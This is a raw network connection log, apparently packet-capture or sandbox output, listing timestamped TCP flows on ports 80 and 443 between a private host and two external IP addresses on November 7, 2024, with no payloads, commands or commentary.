Nov 7, 2024 06:01:11.417768002 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.417793036 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.420105934 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.420173883 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.420180082 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.420209885 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.443536997 CET	443	49801	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.444251060 CET	49801	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.444277048 CET	443	49801	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.444715977 CET	49801	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.444727898 CET	443	49801	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.448821068 CET	443	49800	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.449326992 CET	49800	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.449357986 CET	443	49800	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.449732065 CET	49800	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.449738979 CET	443	49800	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.469485044 CET	443	49802	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.469933033 CET	49802	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.469953060 CET	443	49802	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.470371962 CET	49802	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.470379114 CET	443	49802	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.533509016 CET	443	49798	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.533720016 CET	443	49798	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.533776045 CET	49798	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.533905029 CET	49798	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.533931971 CET	443	49798	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.533948898 CET	49798	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.533956051 CET	443	49798	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.537383080 CET	49803	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.537420988 CET	443	49803	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.537480116 CET	49803	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.537652016 CET	49803	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.537662029 CET	443	49803	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.543734074 CET	443	49799	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.543816090 CET	443	49799	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.543869019 CET	49799	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.543998957 CET	49799	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.544015884 CET	443	49799	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.544028044 CET	49799	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.544034004 CET	443	49799	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.547082901 CET	49804	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.547120094 CET	443	49804	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.547185898 CET	49804	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.549771070 CET	49804	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.549792051 CET	443	49804	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.570862055 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.570882082 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.570894003 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.570905924 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.570919991 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.570928097 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.570964098 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.571048021 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.571099043 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.571142912 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.571166039 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.571177959 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.571187973 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.571197987 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.571218967 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.571228981 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.571238995 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.571242094 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.571270943 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.571271896 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.571281910 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.571294069 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.571304083 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.571327925 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.571564913 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.571604967 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.571634054 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.571688890 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.571743965 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.571765900 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.571778059 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.571787119 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.571790934 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.571799040 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.571805954 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.571818113 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.571846962 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.572033882 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.572074890 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.572099924 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.572117090 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.572129965 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.572139978 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.572145939 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.572164059 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.572187901 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.572413921 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.572446108 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.572457075 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.572457075 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.572480917 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.572508097 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.572530031 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.572540998 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.572551966 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.572570086 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.572588921 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.572880030 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.572947979 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.572973013 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.572985888 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.572995901 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.573007107 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.573012114 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.573012114 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.573019028 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.573029995 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.573036909 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.573044062 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.573048115 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.573060989 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.573075056 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.573076010 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.573086023 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.573097944 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.573126078 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.573843002 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.573879957 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.573892117 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.573919058 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.573944092 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.574923038 CET	443	49801	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.575023890 CET	443	49801	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.575067997 CET	49801	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.575239897 CET	49801	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.575261116 CET	443	49801	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.575274944 CET	49801	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.575280905 CET	443	49801	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.578063011 CET	49805	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.578097105 CET	443	49805	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.578197002 CET	49805	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.578392982 CET	49805	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.578401089 CET	443	49805	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.584438086 CET	443	49800	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.584568024 CET	443	49800	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.584626913 CET	49800	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.584738016 CET	49800	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.584755898 CET	443	49800	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.584765911 CET	49800	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.584770918 CET	443	49800	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.587807894 CET	49806	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.587853909 CET	443	49806	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.587914944 CET	49806	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.588067055 CET	49806	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.588078022 CET	443	49806	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.601541996 CET	443	49802	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.601619005 CET	443	49802	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.601679087 CET	49802	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.601906061 CET	49802	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.601916075 CET	443	49802	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.601927042 CET	49802	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.601931095 CET	443	49802	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.604720116 CET	49807	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.604758978 CET	443	49807	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.604852915 CET	49807	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.604994059 CET	49807	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:11.605003119 CET	443	49807	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:11.727304935 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.727336884 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.727349043 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.727368116 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.727382898 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.727396011 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.727406979 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.727420092 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.727449894 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.727462053 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.727474928 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.727509022 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.727525949 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.727653027 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.727663994 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.727693081 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.727703094 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.727705002 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.727732897 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.727756977 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.727772951 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.727818966 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.727823973 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.727860928 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.727860928 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.727894068 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.727938890 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.727951050 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728024960 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.728041887 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728076935 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.728141069 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728157043 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728169918 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728176117 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.728183985 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728194952 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.728215933 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.728241920 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.728259087 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728303909 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.728321075 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728333950 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728362083 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.728364944 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728375912 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.728377104 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728389978 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728401899 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728401899 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.728409052 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728421926 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.728423119 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728435040 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728446007 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.728446960 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728483915 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.728492022 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.728507042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728518009 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728528023 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728539944 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.728543043 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.728562117 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.728586912 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.729334116 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.729345083 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.729356050 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.729367971 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.729377031 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.729386091 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.729398012 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.729398966 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.729406118 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.729422092 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.729423046 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.729437113 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.729448080 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.729455948 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.729460001 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.729474068 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.729480028 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.729485989 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.729499102 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.729500055 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.729511976 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.729525089 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.729557991 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.732527018 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.732538939 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.732543945 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.732559919 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.732590914 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.732613087 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.732757092 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.732768059 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.732779026 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.732790947 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.732800961 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.732801914 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.732819080 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.732826948 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.732831001 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.732842922 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.732844114 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.732856035 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.732866049 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.732867002 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.732880116 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.732891083 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.732894897 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.732913017 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.732928038 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.733391047 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.733432055 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.733447075 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.733458996 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.733470917 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.733489037 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.733498096 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.733517885 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.733648062 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.733659029 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.733669043 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.733690977 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.733710051 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.733716011 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.733722925 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.733747005 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.733763933 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.734067917 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.734078884 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.734090090 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.734101057 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.734112978 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.734112978 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.734124899 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.734138012 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.734141111 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.734149933 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.734158993 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.734162092 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.734174013 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.734178066 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.734205008 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.734220982 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.734582901 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.734592915 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.734603882 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.734615088 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.734618902 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.734628916 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.734637022 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.734657049 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.734688044 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.843980074 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.844125032 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.883522987 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883536100 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883550882 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883569002 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883575916 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883583069 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883588076 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883594990 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883613110 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.883642912 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883656025 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883667946 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883677006 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.883682013 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883719921 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.883738041 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.883758068 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883768082 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883780003 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:11.883790970 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:11.883796930 CET	80	49797	185.215.113.16	192.168.2.4
